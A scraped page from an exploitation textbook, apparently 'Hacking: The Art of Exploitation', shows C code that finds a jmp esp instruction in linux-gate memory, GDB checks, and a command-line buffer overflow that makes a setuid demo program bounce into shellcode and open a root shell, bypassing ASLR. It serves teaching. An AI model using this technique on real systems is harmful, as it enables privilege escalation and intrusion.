26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

find_jmpesp.c<br />

int main()<br />

{<br />

unsigned long linuxgate_st<strong>art</strong> = 0xffffe000;<br />

char *ptr = (char *) linuxgate_st<strong>art</strong>;<br />

int i;<br />

for(i=0; i < 4096; i++)<br />

{<br />

if(ptr[i] == '\xff' && ptr[i+1] == '\xe4')<br />

printf("found jmp esp at %p\n", ptr+i);<br />

}<br />

}<br />

When <strong>the</strong> program is compiled and run, it shows that this instruction<br />

exists at 0xffffe777. This can be fur<strong>the</strong>r verified using GDB:<br />

matrix@loki /<strong>hacking</strong> $ ./find_jmpesp<br />

found jmp esp at 0xffffe777<br />

matrix@loki /<strong>hacking</strong> $ gdb -q ./aslr_demo<br />

Using host libthread_db library "/lib/libthread_db.so.1".<br />

(gdb) break main<br />

Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7.<br />

(gdb) run<br />

St<strong>art</strong>ing program: /<strong>hacking</strong>/aslr_demo<br />

Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7<br />

7 printf("buffer is at %p\n", &buffer);<br />

(gdb) x/i 0xffffe777<br />

0xffffe777: jmp esp<br />

(gdb)<br />

Putting it all toge<strong>the</strong>r, if we overwrite <strong>the</strong> return address with <strong>the</strong> address<br />

0xffffe777, <strong>the</strong>n execution will jump into linux-gate when <strong>the</strong> main function<br />

returns. Since this is a jmp esp instruction, execution will immediately jump<br />

back out <strong>of</strong> linux-gate to wherever ESP happens to be pointing. From our<br />

previous debugging, we know that at <strong>the</strong> end <strong>of</strong> <strong>the</strong> main function, ESP is<br />

pointing to memory directly after <strong>the</strong> return address. So if shellcode is put<br />

here, EIP should bounce right into it.<br />

matrix@loki /<strong>hacking</strong> $ sudo chown root:root ./aslr_demo<br />

matrix@loki /<strong>hacking</strong> $ sudo chmod u+s ./aslr_demo<br />

matrix@loki /<strong>hacking</strong> $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat scode.bin)<br />

buffer is at 0xbf8d9ae0<br />

sh-3.1#<br />

This technique can also be used to exploit <strong>the</strong> notesearch program, as<br />

shown here.<br />

386 0x600

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!